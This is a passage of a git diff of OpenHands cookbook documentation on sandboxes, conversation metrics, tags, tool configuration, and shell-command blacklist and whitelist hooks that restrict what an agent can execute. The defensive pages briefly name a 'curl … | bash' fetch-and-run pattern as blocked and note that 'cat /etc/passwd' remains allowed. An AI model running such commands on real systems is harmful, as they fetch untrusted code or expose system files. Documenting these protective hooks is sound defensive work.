+```mermaid
+sequenceDiagram
+    participant You
+    participant Cloud as Cloud app server
+    participant Agent as Sandbox agent server
+    You->>Cloud: POST /api/v1/sandboxes (1. start a sandbox, no conversation)
+    You->>Cloud: GET /api/v1/sandboxes?id=#lt;id#gt; (2. poll until status == RUNNING)
+    You->>Agent: POST /api/bash/execute_bash_command (3. git clone --depth 1 #lt;repo#gt;)
+    You->>Agent: POST /api/bash/execute_bash_command (4. bash .openhands/setup.sh)
+    You->>Cloud: POST /api/v1/app-conversations (5. attach a conversation, sandbox_id=#lt;id#gt;)
+    You->>Cloud: GET /api/v1/app-conversations/start-tasks (5b. poll for the app_conversation_id)
+```
+
+Steps 1–2 use the **Cloud app server** (auth header `X-Session-API-Key: `).
+Steps 3–4 use the sandbox's **agent server** (auth header
+`X-Session-API-Key: `, returned by the create call). Step 5 is
+back on the Cloud app server. See [`start-sandbox`](/cookbook/start-sandbox) for more
+on the two-server split.
+
+### Where does `setup.sh` live?
+
+In the repository, at `.openhands/setup.sh`. That is the exact location
+OpenHands itself runs every time it starts working with a repo — see
+[Repository Customization](/openhands/usage/customization/repository).
+This example runs that same file so the sandbox you hand off is set up the way
+the agent would expect. If a repo has no `.openhands/setup.sh`, the step is
+skipped with a note. (This repo ships a tiny one so the default run does
+something visible.)
+
+### Attaching is asynchronous
+
+`POST /api/v1/app-conversations` returns a **start task**, not the conversation
+itself. Poll `GET /api/v1/app-conversations/start-tasks?ids=` until it
+reports an `app_conversation_id`, then open
+`https://app.all-hands.dev/conversations/`.
+
+## Run It
+
+```bash
+export OH_API_KEY=...        # your https://app.all-hands.dev API key
+pip install requests
+
+# Zero-config: clones this repo (it has a .openhands/setup.sh) and attaches
+# a conversation that summarizes it.
+python attach_conversation.py
+```
+
+Sample output:
+
+```text
+sandbox: 1ho9eZpt4m27CC23XPdGcN
+  sandbox status: RUNNING
+agent: https://ahhygodzefollslv.prod-runtime.all-hands.dev
+
+=== shallow clone https://github.com/OpenHands/enterprise-cookbook -> /workspace/enterprise-cookbook ===
+$ git clone  (exit=0)
+
+=== run .openhands/setup.sh ===
+$ setup script  (exit=0)
+[enterprise-cookbook setup.sh] running in /workspace/enterprise-cookbook
+[enterprise-cookbook setup.sh] python: Python 3.13.13
+[enterprise-cookbook setup.sh] done
+
+=== attach conversation ===
+  start-task status: STARTING_CONVERSATION
+  start-task status: READY
+
+Conversation attached to your prepared sandbox:
+  https://app.all-hands.dev/conversations/f041a2e252cf45b39a46a3189b2efce7
+```
+
+Open that URL and you'll find the agent already in a workspace where your repo
+is cloned and set up.
+
+## Why Would I Do This?
+
+Normally you start a conversation and OpenHands clones your selected repository
+for you. Sometimes you want more control *before* the agent gets involved:
+
+- pre-warm an environment so the agent starts instantly on an expensive setup,
+- check out a specific commit, tag, or a sub-path of a monorepo,
+- clone from a mirror or run custom bootstrapping the default flow doesn't do,
+- reuse one prepared sandbox for several scripted conversations.
+
+The trick is a single field: `POST /api/v1/app-conversations` accepts a
+`sandbox_id`. Pass the id of a sandbox you already prepared and the new
+conversation attaches to it instead of creating a fresh one.
+
+## Point It at Your Own Repo
+
+Every input is a flag with an environment-variable fallback, so the script is
+safe to drop into your own automation unchanged:
+
+| Flag                | Env var           | Default                     | Purpose                                         |
+| ------------------- | ----------------- | --------------------------- | ----------------------------------------------- |
+| `--api-key`         | `OH_API_KEY`      | — (required)                | Cloud API key                                   |
+| `--base-url`        | `OH_API_BASE`     | `https://app.all-hands.dev` | Cloud app server                                |
+| `--repo`            | `REPO_URL`        | this repo                   | Git URL to shallow-clone                        |
+| `--branch`          | `REPO_BRANCH`     | repo default                | Branch to check out                             |
+| `--depth`           | `CLONE_DEPTH`     | `1`                         | `git clone --depth`                             |
+| `--workdir`         | `WORKDIR`         | `/workspace`                | Where the repo is cloned                        |
+| `--setup-script`    | `SETUP_SCRIPT`    | `.openhands/setup.sh`       | Script to run after clone                       |
+| `--message`         | `INITIAL_MESSAGE` | a summarize prompt          | First message to the agent                      |
+| `--sandbox-id`      | `SANDBOX_ID`      | none                        | Reuse a RUNNING sandbox instead of creating one |
+| `--sandbox-spec-id` | `SANDBOX_SPEC_ID` | account default             | Runtime image to start                          |
+| `--poll-timeout`    | `POLL_TIMEOUT`    | `240`                       | Seconds to wait for readiness                   |
+
+```bash
+python attach_conversation.py \
+    --repo https://github.com/your-org/your-repo \
+    --branch main \
+    --message "Run the test suite and fix any failures."
+```
+
+> Cloning a **private** repo? Start the sandbox with the appropriate git
+> credentials available (e.g. via sandbox secrets) or clone over an
+> authenticated URL. This example targets public repositories to stay simple.
+
+## Cleanup
+
+The sandbox is intentionally left running because a live conversation is now
+attached to it — deleting the sandbox ends that conversation. Delete it from the
+conversation UI, or via the API (the id goes in **both** the path and a required
+`sandbox_id` query parameter):
+
+```bash
+SID=
+curl -X DELETE "https://app.all-hands.dev/api/v1/sandboxes/${SID}?sandbox_id=${SID}" \
+     -H "X-Session-API-Key: $OH_API_KEY"
+```
+
+## APIs Used
+
+| Endpoint                                | Method | Purpose                                                  |
+| --------------------------------------- | ------ | -------------------------------------------------------- |
+| `/api/v1/sandboxes`                     | POST   | Start a sandbox (no conversation)                        |
+| `/api/v1/sandboxes`                     | GET    | Poll until status == RUNNING                             |
+| `{agent}/api/bash/execute_bash_command` | POST   | Run `git clone` and `.openhands/setup.sh` in the sandbox |
+| `/api/v1/app-conversations`             | POST   | Attach a conversation (`sandbox_id`)                     |
+| `/api/v1/app-conversations/start-tasks` | GET    | Poll for the `app_conversation_id`                       |
+
+## Related
+
+
+  
+    The bare sandbox lifecycle and the sandbox/agent-server split
+  
+
+  
+    Where .openhands/setup.sh lives
+  
+
diff --git a/cookbook/command-blacklist.mdx b/cookbook/command-blacklist.mdx
index e68a1855f..e2a656a51 100644
--- a/cookbook/command-blacklist.mdx
+++ b/cookbook/command-blacklist.mdx
@@ -1,5 +1,5 @@
 ---
-title: Command blacklist
+title: Command Blacklist
 description: Block known-dangerous shell commands with a PreToolUse hook bundled in a plugin. Everything not on the blocklist runs normally.
 icon: shield-halved
 ---
@@ -56,11 +56,11 @@ All other commands work normally - only these specific dangerous patterns are bl
   (So `rm -rf /tmp` is **not** blocked; use the `curl … | bash` demo below to see a block.)
 
 
-## Try It
+## Run It
 
 
   
-    Use the companion [`load-plugin`](https://github.com/OpenHands/enterprise-cookbook/tree/main/load-plugin) example:
+    Use the companion [`load-plugin`](/cookbook/load-plugin) example:
 
     ```bash
     cd ../load-plugin
@@ -156,7 +156,7 @@ This example uses a **blacklist** approach:
 - ❌ **Con:** Can't catch every dangerous pattern
 - ❌ **Con:** Clever variations might slip through
 
-For high-security scenarios, see the companion [`command-whitelist`](https://github.com/OpenHands/enterprise-cookbook/tree/main/command-whitelist) example that shows the **whitelist** approach (only allow explicitly approved commands).
+For high-security scenarios, see the companion [`command-whitelist`](/cookbook/command-whitelist) example that shows the **whitelist** approach (only allow explicitly approved commands).
 
 ## Hook Types
 
@@ -190,30 +190,6 @@ This follows the **Claude Code plugin format**, compatible with:
 - Claude Desktop plugin marketplace
 - Any system supporting the `.claude-plugin` spec
 
-## Related
-
-
-  
-    Full hook documentation
-  
-
-  
-    How plugins work
-  
-
-  
-    Programmatic plugin loading
-  
-
-  
-    No-code plugin launcher
-  
-
-  
-    Whitelist approach (opposite strategy)
-  
-
-
 ## Real-World Use Cases
 
 - **Onboarding agents** - Prevent trainees from dangerous operations
@@ -240,3 +216,27 @@ fi
 ```
 
 The inline bash makes it easy to iterate without rebuilding images or restarting servers.
+
+## Related
+
+
+  
+    Full hook documentation
+  
+
+  
+    How plugins work
+  
+
+  
+    Programmatic plugin loading
+  
+
+  
+    No-code plugin launcher
+  
+
+  
+    Whitelist approach (opposite strategy)
+  
+
diff --git a/cookbook/command-whitelist.mdx b/cookbook/command-whitelist.mdx
new file mode 100644
index 000000000..71ee92c18
--- /dev/null
+++ b/cookbook/command-whitelist.mdx
@@ -0,0 +1,242 @@
+---
+title: Command Whitelist
+description: Allow only approved shell commands with PreToolUse hooks (whitelist approach for strict security).
+icon: user-shield
+---
+
+{/* GENERATED from OpenHands/enterprise-cookbook@main (command-whitelist/README.md). Edit the source, not this file. */}
+
+
+
+A self-contained example showing how to use **PreToolUse hooks** in a plugin to **whitelist approved shell commands**. The agent can only execute commands that are explicitly on the approved list - everything else is blocked.
+
+This example demonstrates the **whitelist approach**: deny everything by default, only allow specific approved commands.
+
+## What's in the Box
+
+The [`strict-mode/`](https://github.com/OpenHands/enterprise-cookbook/tree/main/command-whitelist/strict-mode) plugin bundles:
+
+- **Hooks** (`hooks/hooks.json`) - PreToolUse hook that validates commands against a whitelist
+- **Skill** (`skills/strict-mode/SKILL.md`) - Documentation about what's allowed
+- **Plugin manifest** (`.claude-plugin/plugin.json`) - Standard Claude Code plugin format
+
+## How It Works
+
+```mermaid
+flowchart TD
+    A["User: #quot;Install the requests package with pip#quot;"] --> B["Agent: *prepares terminal command: pip install requests*"]
+    B --> C["PreToolUse Hook: *intercepts before execution*"]
+    C --> C1["Extracts command name: #quot;pip#quot;"]
+    C1 --> C2["Checks whitelist: [ls, cat, grep, find, ...]"]
+    C2 --> C3["Not found in whitelist!"]
+    C3 --> C4["Returns exit code 2 (block) + explanation"]
+    C4 --> D["Agent: *receives block + reason, explains to user*"]
+    D --> E["User: *sees which commands are allowed*"]
+```
+
+## Whitelisted Commands
+
+Only these commands are allowed (all read-only operations):
+
+**File Operations:** `ls`, `cat`, `head`, `tail`, `file`
+**Search & Filter:** `grep`, `find`, `wc`
+**System Info:** `pwd`, `whoami`, `date`, `uname`, `df`, `du`, `stat`
+**Utilities:** `echo`, `which`, `env`, `printenv`, `history`, `tree`
+
+Everything else is **blocked by default**.
+
+## Run It
+
+
+  
+    Use the companion [`load-plugin`](/cookbook/load-plugin) example:
+
+    ```bash
+    cd ../load-plugin
+
+    # This will be blocked (pip not whitelisted)
+    python load_plugin.py \
+      --repo-path command-whitelist/strict-mode \
+      --message "Install the requests package"
+
+    # This will be allowed (ls is whitelisted)
+    python load_plugin.py \
+      --repo-path command-whitelist/strict-mode \
+      --message "List all Python files in the current directory"
+    ```
+  
+
+  
+    Click to test strict mode:
+
+    [![Try Strict Mode](https://img.shields.io/badge/Try%20Strict%20Mode-blue)](https://app.all-hands.dev/launch?plugins=W3sic291cmNlIjogImdpdGh1YjpPcGVuSGFuZHMvZW50ZXJwcmlzZS1jb29rYm9vayIsICJyZWYiOiAibWFpbiIsICJyZXBvX3BhdGgiOiAiY29tbWFuZC13aGl0ZWxpc3Qvc3RyaWN0LW1vZGUifV0%3D\&message=Install%20the%20requests%20package)
+  
+
+
+
+  To test the plugin from a branch before it's merged, pass `--ref ` to `load_plugin.py`.
+
+
+## The Hook
+
+The magic happens in [`hooks/hooks.json`](https://github.com/OpenHands/enterprise-cookbook/blob/main/command-whitelist/strict-mode/hooks/hooks.json):
+
+```json
+{
+  "hooks": {
+    "PreToolUse": [
+      {
+        "matcher": "terminal",
+        "hooks": [
+          {
+            "type": "command",
+            "command": "input=$(cat)\n# ... POSIX-sh whitelist check ...\nexit 0",
+            "timeout": 5
+          }
+        ]
+      }
+    ]
+  }
+}
+```
+
+**How it works:**
+
+1. **`PreToolUse`** - Runs **before** the terminal tool executes
+2. **`matcher: "terminal"`** - Only applies to shell commands
+3. **Inline POSIX-sh script** (run via `/bin/sh -c`; kept inline rather than a
+   `bash -c '...'` wrapper or an external `.sh` file — see the note in the
+   [command-blacklist README](/cookbook/command-blacklist#the-hook) for why):
+   - Extracts the command name from the JSON input
+   - Checks if it's in the hardcoded whitelist
+   - Returns `exit 0` (allow) or `exit 2` (block, with a `{"decision":"deny",...}` reason)
+
+The whitelist is maintained as a simple space-separated list in the script:
+
+```sh
+allowed="ls cat grep find head tail wc echo pwd whoami date uname df du tree file which env printenv history stat"
+```
+
+## Whitelist vs. Blacklist
+
+| Approach                                                           | Strategy                         | Security                                        | Usability                                    | Best For                              |
+| ------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------- | -------------------------------------------- | ------------------------------------- |
+| **Whitelist** (this)                                               | Deny by default, allow specific  | ✅ **High** - Can't execute unexpected commands  | ⚠️ **Limited** - Must pre-approve everything | High-security, read-only, educational |
+| **Blacklist** ([`command-blacklist`](/cookbook/command-blacklist)) | Allow by default, block specific | ⚠️ **Medium** - New patterns might slip through | ✅ **Full** - Everything works except blocked | General protection, development work  |
+
+**Whitelist** = "Only these few things are allowed"
+**Blacklist** = "Everything is allowed except these specific things"
+
+## When to Use Each Approach
+
+### Use Whitelist (Strict Mode) When:
+
+- 🎓 **Educational** - Teaching safe command usage
+- 🔍 **Analysis only** - Reading/inspecting systems
+- 🛡️ **Maximum security** - Untrusted users or agents
+- 📊 **Auditing** - Examining existing systems
+- 🧪 **Sandboxes** - Limiting experimental environments
+
+### Use Blacklist (Safety Guardian) When:
+
+- 🚀 **Development** - Need full tooling access
+- 🔧 **General protection** - Block obvious dangers
+- ⚡ **Productivity** - Don't want to pre-approve everything
+- 🏗️ **Building** - Need to install, compile, deploy
+- 🎯 **Specific risks** - Known dangerous patterns to block
+
+## Extending the Whitelist
+
+To allow additional commands, edit the `allowed` list in `hooks/hooks.json`
+(add the command name, space-separated):
+
+```sh
+allowed="ls cat grep find ... git python npm"
+```
+
+Each command name is matched exactly - no wildcards or partial matches. For commands with subcommands (like `git clone`), you'll need to whitelist the main command (`git`) and handle subcommand validation separately if needed.
+
+## Security Considerations
+
+**✅ Strengths:**
+
+- Completely locks down command execution
+- Easy to audit (small whitelist)
+- Can't be bypassed by clever command variations
+- Works well for truly untrusted agents
+
+**⚠️ Limitations:**
+
+- Very restrictive (might frustrate users)
+- Requires updating the list as needs evolve
+- Doesn't prevent reading sensitive files (allows `cat /etc/passwd`)
+- Simple command extraction (not full shell parsing)
+
+For production security, consider:
+
+1. Combining with file path restrictions
+2. Adding argument validation (not just command name)
+3. Logging all blocked attempts
+4. Using a proper JSON parser instead of grep
+
+## Plugin Structure
+
+```text
+strict-mode/
+├── .claude-plugin/
+│   └── plugin.json          # Plugin metadata
+├── hooks/
+│   └── hooks.json           # PreToolUse hook definition
+└── skills/
+    └── strict-mode/
+        └── SKILL.md         # Documentation (auto-loaded)
+```
+
+This follows the **Claude Code plugin format**, compatible with:
+
+- OpenHands Cloud plugin launcher
+- Claude Desktop plugin marketplace
+- Any system supporting the `.claude-plugin` spec
+
+## Real-World Use Cases
+
+- **Code review agents** - Only allow read operations on source code
+- **Security auditing** - Inspect systems without modification
+- **Student environments** - Safe learning sandbox
+- **Public demos** - Allow exploration without damage
+- **CI/CD read-only steps** - Verify without changing artifacts
+
+## Progressive Enhancement
+
+Start strict, then gradually expand:
+
+1. **Day 1:** Only allow `ls`, `cat`, `grep` (ultra-strict)
+2. **Week 1:** Add `find`, `wc`, `head`, `tail` (more inspection tools)
+3. **Month 1:** Add `git` for version control (read-only)
+4. **As needed:** Carefully evaluate and add new commands
+
+This way you build trust and understand usage patterns before opening up.
+
+## Related
+
+
+  
+    Full hook documentation
+  
+
+  
+    How plugins work
+  
+
+  
+    Programmatic plugin loading
+  
+
+  
+    No-code plugin launcher
+  
+
+  
+    Blacklist approach (opposite strategy)
+  
+
diff --git a/cookbook/conversation-metrics.mdx b/cookbook/conversation-metrics.mdx
new file mode 100644
index 000000000..dea555ef0
--- /dev/null
+++ b/cookbook/conversation-metrics.mdx
@@ -0,0 +1,272 @@
+---
+title: Conversation Metrics
+description: Retrieve cost and token usage metrics for conversations via CLI tool.
+icon: chart-line
+---
+
+{/* GENERATED from OpenHands/enterprise-cookbook@main (conversation-metrics/README.md). Edit the source, not this file. */}
+
+
+
+CLI tool to retrieve cost and token usage metrics for OpenHands conversations.
+
+Supports both **V0** and **V1** APIs, automatically selecting the appropriate one based on the conversation version.
+
+## Features
+
+- **Auto-detects** conversation version (V0 vs V1) and uses the appropriate API
+- **Graceful fallback** chain for metric retrieval
+- **Displays** cost (USD), token counts, cache stats, and context window
+- **JSON output** for programmatic use
+- **API call logging** for debugging and development
+- **Fixture-based testing** - high coverage via recorded API responses
+- **Zero dependencies** - uses only Python standard library
+
+## How It Works
+
+The tool uses a fallback chain to find metrics:
+
+1. **Check conversation version** via `/api/conversations/{id}`
+2. **For V1 conversations**:
+   - First try `/api/v1/app-conversations?ids={id}` which includes a `metrics` object
+   - If metrics are all zeros, fall back to `/api/v1/conversation/{id}/events/search` and extract metrics from `ConversationStateUpdateEvent` at `value.stats.usage_to_metrics.agent`
+3. **For V0 conversations** (or if V1 fails): Use `/api/conversations/{id}/events` and find the latest event with `llm_metrics`
+4. **Last resort**: Use `/api/conversations/{id}/trajectory` and scan for `llm_metrics`
+
+
+  **Note:** Some V1 conversations have metrics stored only in events (not in the app-conversations response). The fallback chain ensures these are still retrieved correctly.
+
+
+## Installation
+
+No installation required - just make the script executable:
+
+```bash
+chmod +x oh-metrics
+```
+
+Requires Python 3.10+.
+
+## Run It
+
+### Set your API key
+
+```bash
+export OH_API_KEY="your-api-key"
+```
+
+### Get metrics for a conversation
+
+```bash
+./oh-metrics 
+```
+
+**Example output (V0 conversation):**
+
+```text
+────────────────────────────────────────────────────────────
+Conversation: 7f3d57c4e5b2434d9ca78e5e27311137
+Title: Hello and a Programming Joke
+API Version: V0 via V0 (events)
+────────────────────────────────────────────────────────────
+💰 Total Cost: $0.083175 USD
+
+📊 Token Usage:
+   Prompt tokens:     12,865
+   Completion tokens: 117
+   Total tokens:      12,982
+
+🗄️  Cache:
+   Cache read:        0
+   Cache write:       12,740
+
+📐 Context window:    200,000
+────────────────────────────────────────────────────────────
+```
+
+**Example output (V1 conversation):**
+
+```text
+────────────────────────────────────────────────────────────
+Conversation: 72d40619b8534f9b9de6c3f17a71072d
+Title: 📝 V0 API for Conversation Costs & Tokens
+API Version: V1 via V1 (events)
+────────────────────────────────────────────────────────────
+💰 Total Cost: $13.576675 USD
+
+📊 Token Usage:
+   Prompt tokens:     17,577,146
+   Completion tokens: 63,985
+   Total tokens:      17,641,131
+
+🗄️  Cache:
+   Cache read:        17,022,477
+   Cache write:       553,973
+
+🧠 Reasoning tokens:  1,169
+
+📐 Context window:    200,000
+────────────────────────────────────────────────────────────
+```
+
+### JSON output
+
+```bash
+./oh-metrics  --json
+```
+
+```json
+{
+  "conversation_id": "7f3d57c4e5b2434d9ca78e5e27311137",
+  "title": "Hello and a Programming Joke",
+  "api_version": "V0",
+  "api_used": "V0 (events)",
+  "metrics": {
+    "accumulated_cost": 0.083175,
+    "accumulated_token_usage": {
+      "prompt_tokens": 12865,
+      "completion_tokens": 117,
+      "cache_read_tokens": 0,
+      "cache_write_tokens": 12740,
+      "context_window": 200000
+    }
+  }
+}
+```
+
+### Options
+
+| Option            | Short | Description                                       |
+| ----------------- | ----- | ------------------------------------------------- |
+| `--api-key KEY`   | `-k`  | API key (defaults to `OH_API_KEY` env var)        |
+| `--base-url URL`  | `-u`  | Base URL (default: `https://app.all-hands.dev`)   |
+| `--json`          | `-j`  | Output in JSON format                             |
+| `--log-api-calls` | `-l`  | Log all API requests/responses to `.oh/api-logs/` |
+| `--help`          | `-h`  | Show help message                                 |
+
+### Logging API Calls
+
+For debugging or development, you can log all API requests and responses:
+
+```bash
+./oh-metrics  --log-api-calls
+```
+
+This creates timestamped files in `.oh/api-logs/YYYYMMDD-HHMMSS/`:
+
+```text
+.oh/api-logs/20260227-145230/
+├── 0001-request.json
+├── 0001-response.json
+├── 0002-request.json
+└── 0002-response.json
+```
+
+Each request/response pair is numbered sequentially. The Authorization header is redacted from logged requests.
+
+## Metrics Explained
+
+| Field                | Description                               |
+| -------------------- | ----------------------------------------- |
+| `accumulated_cost`   | Total cost in USD                         |
+| `prompt_tokens`      | Tokens sent to the LLM                    |
+| `completion_tokens`  | Tokens generated by the LLM               |
+| `cache_read_tokens`  | Tokens read from prompt cache             |
+| `cache_write_tokens` | Tokens written to prompt cache            |
+| `reasoning_tokens`   | Tokens used for reasoning (if applicable) |
+| `context_window`     | Model's context window size               |
+
+## Architecture
+
+The library is organized into separate modules:
+
+```text
+oh_api/
+├── __init__.py    # Public API exports
+├── client.py      # Base HTTP client with logging and fixture support
+├── v0.py          # V0 API driver
+├── v1.py          # V1 API driver
+└── metrics.py     # High-level metrics retrieval with fallback chain
+```
+
+### Using the Library Programmatically
+
+```python
+from oh_api import APIClient, get_conversation_metrics
+
+# Create a client
+client = APIClient(
+    base_url="https://app.all-hands.dev",
+    api_key="your-api-key",
+    log_api_calls=True,  # Optional: enable logging
+)
+
+# Get metrics
+metrics = get_conversation_metrics(client, "conversation-id")
+if metrics:
+    print(f"Cost: ${metrics.accumulated_cost:.6f}")
+    print(f"Tokens: {metrics.total_tokens:,}")
+```
+
+### Using the V0/V1 Drivers Directly
+
+```python
+from oh_api import APIClient
+from oh_api.v0 import V0Driver
+from oh_api.v1 import V1Driver
+
+client = APIClient(base_url="...", api_key="...")
+
+# V0 API
+v0 = V0Driver(client)
+conv = v0.get_conversation("conv-id")
+events = v0.get_events("conv-id", limit=50)
+
+# V1 API
+v1 = V1Driver(client)
+conv = v1.get_conversation("conv-id")
+if conv and conv.metrics:
+    print(f"Cost: ${conv.metrics.accumulated_cost}")
+```
+
+## Testing
+
+The test suite uses recorded API fixtures to achieve high coverage without making real API calls:
+
+```bash
+# Run tests
+uv run pytest tests/ -v
+
+# Run with coverage
+uv run pytest tests/ --cov --cov-report=term-missing
+```
+
+Current coverage: **89%** of library code.
+
+### Creating New Fixtures
+
+1. Run the CLI with `--log-api-calls` to capture real API responses
+2. Copy relevant response files to `tests/fixtures/`
+3. Rename following the pattern: `GET__api_path_q_param=value.json`
+
+## APIs Used
+
+### For V1 Conversations
+
+| Endpoint                                      | Purpose                                                  |
+| --------------------------------------------- | -------------------------------------------------------- |
+| `GET /api/conversations/{id}`                 | Get conversation info (to determine version)             |
+| `GET /api/v1/app-conversations?ids={id}`      | Get conversation with metrics                            |
+| `GET /api/v1/conversation/{id}/events/search` | Fallback: find metrics in `ConversationStateUpdateEvent` |
+
+### For V0 Conversations
+
+| Endpoint                                 | Purpose                       |
+| ---------------------------------------- | ----------------------------- |
+| `GET /api/conversations/{id}`            | Get conversation info         |
+| `GET /api/conversations/{id}/events`     | Get events with `llm_metrics` |
+| `GET /api/conversations/{id}/trajectory` | Fallback for metrics          |
+
+## License
+
+MIT License - see [LICENSE](https://github.com/OpenHands/enterprise-cookbook/blob/main/LICENSE) for details.
diff --git a/cookbook/conversation-tags.mdx b/cookbook/conversation-tags.mdx
index c6868c431..43e71cd11 100644
--- a/cookbook/conversation-tags.mdx
+++ b/cookbook/conversation-tags.mdx
@@ -1,5 +1,5 @@
 ---
-title: Conversation tags
+title: Conversation Tags
 description: Attach key-value metadata to a conversation with tags and read it back from AppConversation.tags.
 icon: tags
 ---
@@ -16,7 +16,7 @@ exactly this.
 This is the supported replacement for adding a bespoke field (e.g. a custom
 `environment_url` column) to the conversation model: use `tags` instead.
 
-## The two-server split
+## How It Works
 
 OpenHands has a **Cloud app server** (manages accounts, sandboxes, and
 conversations) and, for each sandbox, an **agent server** (the runtime that owns
@@ -44,14 +44,16 @@ immediately (`GET {conversation_url}` → `tags`). The Cloud's
 up within a few seconds — so this example confirms the write on the agent server
 and then *polls* the Cloud read instead of reading once.
 
-> Why not set tags on the Cloud create call? The Cloud
-> `POST/PATCH /api/v1/app-conversations` payloads do not expose `tags` today —
-> the agent server is the authoritative place to write them, and the Cloud
-> reflects the result. The agent `POST /api/conversations` also accepts `tags`
-> at creation time if you provision the sandbox yourself (see
-> [`clone-and-attach`](https://github.com/OpenHands/enterprise-cookbook/tree/main/clone-and-attach)).
+
+  Why not set tags on the Cloud create call? The Cloud
+  `POST/PATCH /api/v1/app-conversations` payloads do not expose `tags` today —
+  the agent server is the authoritative place to write them, and the Cloud
+  reflects the result. The agent `POST /api/conversations` also accepts `tags`
+  at creation time if you provision the sandbox yourself (see
+  [`clone-and-attach`](/cookbook/clone-and-attach)).
+
 
-## Tag rules
+## Tag Rules
 
 The agent server enforces:
 
@@ -64,7 +66,7 @@ The agent server enforces:
 Need to store something structured or longer than 256 chars? Put a JSON string
 into a single tag value (within the limit), or split across multiple keys.
 
-## Run it
+## Run It
 
 ```bash
 export OH_API_KEY=...        # your https://app.all-hands.dev API key
@@ -100,7 +102,7 @@ round-trip OK: True
   deleted sandbox 3NjFZz5JDyIVUdvxNsXi0R
 ```
 
-## Set your own tags
+## Set Your Own Tags
 
 Pass `--tag KEY=VALUE` (repeatable), and `--keep` to leave the conversation open
 so you can inspect the tags in the UI:
@@ -122,7 +124,7 @@ python tag_conversation.py \
 | `--keep`         | —                 | off                         | Don't delete the conversation/sandbox |
 | `--poll-timeout` | `POLL_TIMEOUT`    | `240`                       | Seconds to wait for readiness         |
 
-## API endpoints used
+## APIs Used
 
 | Endpoint                                         | Server | Purpose                                                    |
 | ------------------------------------------------ | ------ | ---------------------------------------------------------- |
diff --git a/cookbook/custom-agent-no-browser.mdx b/cookbook/custom-agent-no-browser.mdx
new file mode 100644
index 000000000..004825979
--- /dev/null
+++ b/cookbook/custom-agent-no-browser.mdx
@@ -0,0 +1,358 @@
+---
+title: Custom Agent No Browser
+description: Configure agent tools via the agent-server API to exclude the browser tool.
+icon: sliders
+---
+
+{/* GENERATED from OpenHands/enterprise-cookbook@main (custom-agent-no-browser/README.md). Edit the source, not this file. */}
+
+
+
+This example demonstrates **the correct pattern** for customizing agent tools using the OpenHands agent-server API. It configures an agent that has `terminal`, `file_editor`, and `task_tracker` but **no browser tool**, then verifies the result.
+
+## What This Example Shows
+
+- ✅ How to configure which tools the agent can access, (e.g. use standard tools, but exclude browser tools)
+- ✅ How to verify that the intended tools are present and excluded ones are absent
+- ✅ The complete workflow from sandbox creation to cleanup
+
+## The Key Insight: Two APIs
+
+OpenHands Cloud exposes **two different APIs**, and tool configuration happens on the second one:
+
+1. **Cloud API** (`https://app.all-hands.dev`) — manages the sandbox lifecycle (create, list, delete). Authenticated with your Cloud API key (`Authorization: Bearer $OH_API_KEY`).
+2. **Agent-server API** — runs *inside* each sandbox at the sandbox's own URL. It controls agent configuration (LLM, tools) and conversation execution. Authenticated with the sandbox's **session API key** (`X-Session-API-Key: {session_key}`).
+
+To customize tools you must talk to the **agent-server API**. The reliable way to do it is to **pass the tool list inline** in the `agent` object when you create the conversation:
+
+```python
+# session_key and agent_server_url come from the sandbox (see "How It Works").
+requests.post(
+    f"{agent_server_url}/api/conversations",
+    headers={"X-Session-API-Key": session_key},
+    json={
+        "agent": {
+            "llm": {
+                "model": "litellm_proxy/claude-sonnet-4-5-20250929",
+                "api_key": os.getenv("LLM_API_KEY"),
+                "base_url": os.getenv("LLM_BASE_URL"),
+            },
+            "tools": [
+                {"name": "terminal"},
+                {"name": "file_editor"},
+                {"name": "task_tracker"},
+            ],
+        },
+        "workspace": {"working_dir": "/workspace"},
+        "initial_message": {"content": [{"text": "Hello!"}]},
+    },
+)
+```
+
+Because the `agent` object defines the **whole** agent spec (LLM **and** tools) in a single request, the tools always take effect. The agent-server automatically adds the `finish` and `think` tools, so the resulting conversation exposes those two plus the three you asked for. The browser is excluded simply by not being in the list.
+
+
+  **Pitfall to avoid:** Do not set tools separately via `PATCH /api/settings` and then create the conversation with an `agent` object that contains only an `llm`. Sending an `agent` object without `tools` replaces the whole agent spec and drops the tools you configured, leaving the agent with just `finish` and `think`. Passing tools inline (as above) avoids this.
+
+
+## How It Works
+
+### 1. Create a Sandbox via the Cloud API
+
+```python
+response = requests.post(
+    "https://app.all-hands.dev/api/v1/sandboxes",
+    headers={"Authorization": f"Bearer {OH_API_KEY}"},
+)
+sandbox = response.json()
+sandbox_id = sandbox["id"]
+```
+
+Then poll `GET /api/v1/sandboxes?id={sandbox_id}` until `status == "RUNNING"`.
+A running sandbox gives you:
+
+- `id`: the sandbox identifier
+- `session_api_key`: authentication for the agent-server API
+- `exposed_urls`: a list of `{name, url, port}`; the agent-server URL is the
+  entry whose `name` is `AGENT_SERVER`
+
+```python
+session_key = sandbox["session_api_key"]
+agent_server_url = next(
+    u["url"] for u in sandbox["exposed_urls"] if u["name"] == "AGENT_SERVER"
+)
+```
+
+### 2. Create the Conversation with Tools Inline
+
+```python
+requests.post(
+    f"{agent_server_url}/api/conversations",
+    headers={"X-Session-API-Key": session_key},
+    json={
+        "agent": {
+            "llm": {"model": ..., "api_key": ..., "base_url": ...},
+            "tools": [
+                {"name": "terminal"},
+                {"name": "file_editor"},
+                {"name": "task_tracker"},
+            ],
+        },
+        "workspace": {"working_dir": "/workspace"},
+        "initial_message": {"content": [{"text": TASK}]},
+    },
+)
+```
+
+### 3. Run the Conversation
+
+```python
+requests.post(
+    f"{agent_server_url}/api/conversations/{conv_id}/run",
+    headers={"X-Session-API-Key": session_key},
+)
+```
+
+Then poll `GET /api/conversations/{conv_id}` until `execution_status` is
+`finished` (or `error`).
+
+### 4. Verify Tools
+
+The script performs two checks:
+
+**a) Available tools (from the `SystemPromptEvent`):** confirms every expected
+tool is present and no browser tool appears.
+
+```python
+response = requests.get(
+    f"{agent_server_url}/api/conversations/{conv_id}/events/search"
+    "?kind__eq=SystemPromptEvent&limit=1",
+    headers={"X-Session-API-Key": session_key},
+)
+available_tools = response.json()["items"][0]["tools"]
+available_titles = {t["title"] for t in available_tools}
+
+missing = [name for name in ["terminal", "file_editor", "task_tracker"]
+           if name not in available_titles]
+has_browser = any("browser" in t.get("title", "").lower() for t in available_tools)
+assert not missing and not has_browser
+```
+
+**b) Tools actually used (from `ActionEvent`s):** confirms no browser tool was
+invoked while performing the task.
+
+```python
+response = requests.get(
+    f"{agent_server_url}/api/conversations/{conv_id}/events/search",
+    headers={"X-Session-API-Key": session_key},
+)
+tools_used = {
